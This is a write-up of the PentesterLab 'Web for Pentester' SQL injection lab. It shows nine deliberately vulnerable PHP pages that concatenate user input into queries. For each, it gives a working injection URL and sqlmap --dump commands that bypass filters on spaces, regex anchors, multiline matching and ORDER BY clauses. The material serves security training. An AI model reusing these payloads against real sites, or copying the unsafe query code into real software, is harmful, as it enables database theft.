PentesterLab -- Web for Pentester - SQL Injection

Web for Pentester: This exercise is a set of the most common web vulnerability

Difficluty: 1/5

Example 1

code review:

example1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

  require_once('../header.php');
  require_once('db.php');
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";   
  $result = mysql_query($sql);
  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
  require_once '../footer.php';
?>

There is a vulnerability due to no input validation on parameter $_GET[“name”], so I can hack it directly by injecting ' or 1=1 #. After injection, $sql now is SELECT * FROM users where name='' or 1=1 #. This sql injection will pull all items in the table users.

Manually exploit (encode root' or 1=1#):

http://192.168.79.162/sqli/example1.php?name=root%27%20or%201%3D1%23

sqlmap exploit:

sqlmap -u "http://192.168.79.162/sqli/example1.php?name=root" --dump

Example 2

code review:

example2.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
  require_once('../header.php');
  require_once('db.php');

  if (preg_match('/ /', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);
  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
  require '../footer.php';
?>

The author filtered the space in the user input. It prevents us from using the ' or 1=1 #. However, this filtering is easily bypassed, using tabulation (HT or \t) or comment /**/

Manually exploit (encode ‘/**/or/**/1=1/**/#):

http://192.168.79.162/sqli/example2.php?name=root%27%2f%2a%2a%2for%2f%2a%2a%2f1%3D1%2f%2a%2a%2f%23

sqlmap exploit:

sqlmap -u "http://192.168.79.162/sqli/example2.php?name=root" --dump --tamper=space2comment

space2comment.py — Replaces space character (‘ ’) with comments ‘/**/’

Example 3

code review:

example3.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
    require_once('../header.php');
  require_once('db.php');
  if (preg_match('/\s+/', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);
  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
    require '../footer.php';
?>

The author filtered the spaces and tabulations in the user input. It prevents us from using the ' or 1=1 #. However, this filtering is easily bypassed, using comment /**/

Manually exploit (encode ‘/**/or/**/1=1/**/#):

http://192.168.79.162/sqli/example3.php?name=root%27%2f%2a%2a%2for%2f%2a%2a%2f1%3D1%2f%2a%2a%2f%23

sqlmap exploit:

sqlmap -u "http://192.168.79.162/sqli/example3.php?name=root" --dump --tamper=space2comment

space2comment.py — Replaces space character (‘ ’) with comments ‘/**/’

Example 4

code review:

example4.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
  $sql.=mysql_real_escape_string($_GET["id"])." ";
  $result = mysql_query($sql);
  

  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>

      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
    require '../footer.php';
?>

The developer use mysql_real_escape_string function to filter space. However, it cannot prevent sql injection without single quote.

Manually exploit (encode id=2 or 1=1 )

http://192.168.79.162/sqli/example4.php?id=2 or 1=1

sqlmap exploit

sqlmap -u "http://192.168.79.162/sqli/example4.php?id=2" --dump

Example 5

code review:

example5.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

  require_once('../header.php');
  require_once('db.php');
  if (!preg_match('/^[0-9]+/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;
  
  $result = mysql_query($sql);

  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
    require '../footer.php';
?>

The developer use preg_match(‘/^[0-9]+/’, $_GET[“id”]) to prevent SQL injection by using a regular expression. However, it only ensures that the parameter id starts with a digit.

Manually exploit (encode id=2 or 1=1 #)

http://192.168.79.162/sqli/example5.php?id=2 or 1=1 #

sqlmap exploit

sqlmap -u "http://192.168.79.162/sqli/example5.php?id=2" --dump

Example 6

code review:

example6.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

   require_once('../header.php');
  require_once('db.php');
  if (!preg_match('/[0-9]+$/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;

  
  $result = mysql_query($sql);


if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
    require '../footer.php';
?>

This regular expression just ensure the id ends with a digit, it doesn’t check the beginning of the id. So the poc in example 5 is also vaild in this situation.

Manual exploit:

http://192.168.79.162/sqli/example6.php?id=2%20or%201=1#

Example 7

code review:

example7.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

  require_once('../header.php');
  require_once('db.php');
  if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"];
  
  $result = mysql_query($sql);

  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
    require '../footer.php';
?>

The regular expression checked both beginning and end of the input correctly. However, it contains the modifier PCRE_MULTILINE (/m). It only vaildate that one of the lines is only containing an integer, and the following values will therefore be valid. So use encoded new line symbol will bypass this.

Manual exploit:

http://192.168.79.162/sqli/example7.php?id=2%0A or 1=1

sqlmap exploit:

sqlmap -u "http://192.168.79.162/sqli/example7.php?id=2%0a*" --dump

Example 8

code review:

example8.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

  require_once('../header.php');
  require_once('db.php');
  $sql = "SELECT * FROM users ORDER BY `";
  $sql .= mysql_real_escape_string($_GET["order"])."`";
  $result = mysql_query($sql);
  
  if ($result) {``
      ?>
      <table  class='table table-striped'>
      <tr>
          <th><a href="example8.php?order=id">id</th>
          <th><a href="example8.php?order=name">name</th>
          <th><a href="example8.php?order=age">age</th>
      </tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
    require '../footer.php';
?>

After reviewing the source code, I decided to inject payload into “ORDER BY” statement, using Time-based blind injection.

Manual exploit (encode order=id`,(select sleep(10) from dual where database() like database())#):

http://192.168.79.162/sqli/example8.php?order=id,(select sleep(10) from dual where database() like database())#`

sqlmap exploit:

sqlmap -u "http://192.168.79.162/sqli/example8.php?order=id%60" --dump

Example 9

code review:

example9.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
  require_once('../header.php');
  require_once('db.php');
  $sql = "SELECT * FROM users ORDER BY ";
  $sql .= mysql_real_escape_string($_GET["order"]);
  $result = mysql_query($sql);
  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr>
          <th><a href="example9.php?order=id">id</th>
          <th><a href="example9.php?order=name">name</th>
          <th><a href="example9.php?order=age">age</th>
      </tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
  require '../footer.php';
?>

Since there is no back-tick. I will use IF function to inject the payload of “order by”

manually exploit:

http://192.168.79.162/sqli/example9.php?order=if(1>2, name, age)

sqlmap exploit:

sqlmap -u "http://192.168.79.162/sqli/example9.php?order=id" --dump